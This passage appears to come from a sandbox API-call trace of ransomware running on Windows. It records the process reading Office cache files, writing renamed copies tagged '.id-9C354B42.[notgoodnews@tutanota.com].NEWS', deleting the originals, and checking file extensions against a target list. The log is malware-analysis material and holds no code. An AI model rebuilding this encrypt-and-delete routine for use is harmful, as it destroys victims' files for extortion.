(hFile=0x1ec) returned 1 [0046.236] CloseHandle (hObject=0x1ec) returned 1 [0046.237] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.368] SetEndOfFile (hFile=0x1e8) returned 1 [0046.603] CloseHandle (hObject=0x1e8) returned 1 [0046.603] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0046.603] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0046.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.604] lstrlenW (lpString=".doc") returned 4 [0046.604] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.604] lstrlenW (lpString=".docx") returned 5 [0046.604] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.604] lstrlenW (lpString=".pdf") returned 4 [0046.604] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.604] lstrlenW (lpString=".xls") returned 4 [0046.604] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.604] lstrlenW (lpString=".xlsx") returned 5 [0046.604] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.604] lstrlenW (lpString=".ppt") returned 4 [0046.604] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.604] lstrlenW (lpString=".zip") returned 4 [0046.604] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.604] lstrlenW (lpString=".rar") returned 4 [0046.604] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.604] lstrlenW (lpString=".bz2") returned 4 [0046.604] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.605] lstrlenW (lpString=".7z") returned 3 [0046.605] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.605] lstrlenW (lpString=".dbf") returned 4 [0046.605] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.605] lstrlenW (lpString=".1cd") returned 4 [0046.605] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.605] lstrlenW (lpString=".jpg") returned 4 [0046.605] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.605] lstrlenW (lpString=".doc") returned 4 [0046.605] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.605] lstrlenW (lpString=".docx") returned 5 [0046.605] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.605] lstrlenW (lpString=".pdf") returned 4 [0046.605] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.605] lstrlenW (lpString=".xls") returned 4 [0046.605] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.605] lstrlenW (lpString=".xlsx") returned 5 [0046.605] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.606] lstrlenW (lpString=".ppt") returned 4 [0046.606] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.606] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.606] lstrlenW (lpString=".zip") returned 4 [0046.606] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.606] lstrlenW (lpString=".rar") returned 4 [0046.606] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.606] lstrlenW (lpString=".bz2") returned 4 [0046.606] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.606] lstrlenW (lpString=".7z") returned 3 [0046.606] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.606] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.606] lstrlenW (lpString=".dbf") returned 4 [0046.606] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.606] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.606] lstrlenW (lpString=".1cd") returned 4 [0046.606] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.606] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.606] lstrlenW (lpString=".jpg") returned 4 [0046.606] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.607] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0046.607] lstrlenW (lpString="Setup.xml") returned 9 [0046.607] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.607] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1872) returned 1 [0046.607] CloseHandle (hObject=0x1e8) returned 1 [0046.607] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0046.607] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0046.607] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.607] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.608] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.608] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0046.608] GetLastError () returned 0x0 [0046.608] ReadFile (in: hFile=0x1e8, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x750, lpOverlapped=0x0) returned 1 [0046.678] WriteFile (in: hFile=0x19c, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x760, lpOverlapped=0x0) returned 1 [0046.679] ReadFile (in: hFile=0x1e8, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.679] WriteFile (in: hFile=0x19c, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.679] SetEndOfFile (hFile=0x19c) returned 1 [0046.680] CloseHandle (hObject=0x19c) returned 1 [0046.680] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.680] SetEndOfFile (hFile=0x1e8) returned 1 [0046.682] CloseHandle (hObject=0x1e8) returned 1 [0046.682] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0046.682] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0046.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.683] lstrlenW (lpString=".doc") returned 4 [0046.683] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.683] lstrlenW (lpString=".docx") returned 5 [0046.683] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.683] lstrlenW (lpString=".pdf") returned 4 [0046.683] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.683] lstrlenW (lpString=".xls") returned 4 [0046.683] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.683] lstrlenW (lpString=".xlsx") returned 5 [0046.683] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.683] lstrlenW (lpString=".ppt") returned 4 [0046.683] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.683] lstrlenW (lpString=".zip") returned 4 [0046.683] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.683] lstrlenW (lpString=".rar") returned 4 [0046.683] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.683] lstrlenW (lpString=".bz2") returned 4 [0046.683] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.683] lstrlenW (lpString=".7z") returned 3 [0046.684] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.684] lstrlenW (lpString=".dbf") returned 4 [0046.684] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.684] lstrlenW (lpString=".1cd") returned 4 [0046.684] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.684] lstrlenW (lpString=".jpg") returned 4 [0046.684] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.684] lstrlenW (lpString=".doc") returned 4 [0046.684] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.684] lstrlenW (lpString=".docx") returned 5 [0046.684] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.684] lstrlenW (lpString=".pdf") returned 4 [0046.684] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.684] lstrlenW (lpString=".xls") returned 4 [0046.684] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.684] lstrlenW (lpString=".xlsx") returned 5 [0046.685] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.685] lstrlenW (lpString=".ppt") returned 4 [0046.685] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.685] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.685] lstrlenW (lpString=".zip") returned 4 [0046.685] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.685] lstrlenW (lpString=".rar") returned 4 [0046.685] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.685] lstrlenW (lpString=".bz2") returned 4 [0046.685] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.685] lstrlenW (lpString=".7z") returned 3 [0046.685] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.685] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.685] lstrlenW (lpString=".dbf") returned 4 [0046.685] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.685] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.685] lstrlenW (lpString=".1cd") returned 4 [0046.685] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.685] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.685] lstrlenW (lpString=".jpg") returned 4 [0046.685] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.686] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0046.686] lstrlenW (lpString="branding.xml") returned 12 [0046.686] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0046.719] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=596341) returned 1 [0046.719] CloseHandle (hObject=0x1c0) returned 1 [0046.719] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0046.730] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0046.730] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.730] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.730] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.730] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0047.244] GetLastError () returned 0x0 [0047.244] ReadFile (in: hFile=0x1e8, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x91975, lpOverlapped=0x0) returned 1 [0048.373] WriteFile (in: hFile=0x1f4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0049.199] ReadFile (in: hFile=0x1e8, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.199] WriteFile (in: hFile=0x1f4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.200] SetEndOfFile (hFile=0x1f4) returned 1 [0049.200] CloseHandle (hObject=0x1f4) returned 1 [0049.389] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.389] SetEndOfFile (hFile=0x1e8) returned 1 [0049.618] CloseHandle (hObject=0x1e8) returned 1 [0049.618] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0049.618] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0049.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0049.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0049.619] lstrlenW (lpString=".doc") returned 4 [0049.619] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.619] lstrlenW (lpString=".docx") returned 5 [0049.619] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0049.619] lstrlenW (lpString=".pdf") returned 4 [0049.619] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.619] lstrlenW (lpString=".xls") returned 4 [0049.619] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.619] lstrlenW (lpString=".xlsx") returned 5 [0049.619] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0049.619] lstrlenW (lpString=".ppt") returned 4 [0049.619] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0049.619] lstrlenW (lpString=".zip") returned 4 [0049.620] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.620] lstrlenW (lpString=".rar") returned 4 [0049.620] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.620] lstrlenW (lpString=".bz2") returned 4 [0049.620] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.620] lstrlenW (lpString=".7z") returned 3 [0049.620] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0049.620] lstrlenW (lpString=".dbf") returned 4 [0049.620] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0049.620] lstrlenW (lpString=".1cd") returned 4 [0049.620] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0049.620] lstrlenW (lpString=".jpg") returned 4 [0049.620] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0049.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0049.620] lstrlenW (lpString=".doc") returned 4 [0049.620] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.620] lstrlenW (lpString=".docx") returned 5 [0049.621] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0049.621] lstrlenW (lpString=".pdf") returned 4 [0049.621] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.621] lstrlenW (lpString=".xls") returned 4 [0049.621] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.621] lstrlenW (lpString=".xlsx") returned 5 [0049.621] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0049.621] lstrlenW (lpString=".ppt") returned 4 [0049.621] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0049.621] lstrlenW (lpString=".zip") returned 4 [0049.621] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.621] lstrlenW (lpString=".rar") returned 4 [0049.621] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.621] lstrlenW (lpString=".bz2") returned 4 [0049.621] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.621] lstrlenW (lpString=".7z") returned 3 [0049.621] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0049.621] lstrlenW (lpString=".dbf") returned 4 [0049.621] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0049.622] lstrlenW (lpString=".1cd") returned 4 [0049.622] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0049.622] lstrlenW (lpString=".jpg") returned 4 [0049.622] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.622] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0049.622] lstrlenW (lpString="Office32WW.xml") returned 14 [0049.623] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0049.746] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=4274) returned 1 [0049.747] CloseHandle (hObject=0x1fc) returned 1 [0049.747] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0049.747] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0049.747] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0049.748] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.748] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.748] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0049.748] GetLastError () returned 0x0 [0049.748] ReadFile (in: hFile=0x1fc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0049.751] WriteFile (in: hFile=0x1e8, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0049.753] ReadFile (in: hFile=0x1fc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.753] WriteFile (in: hFile=0x1e8, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: 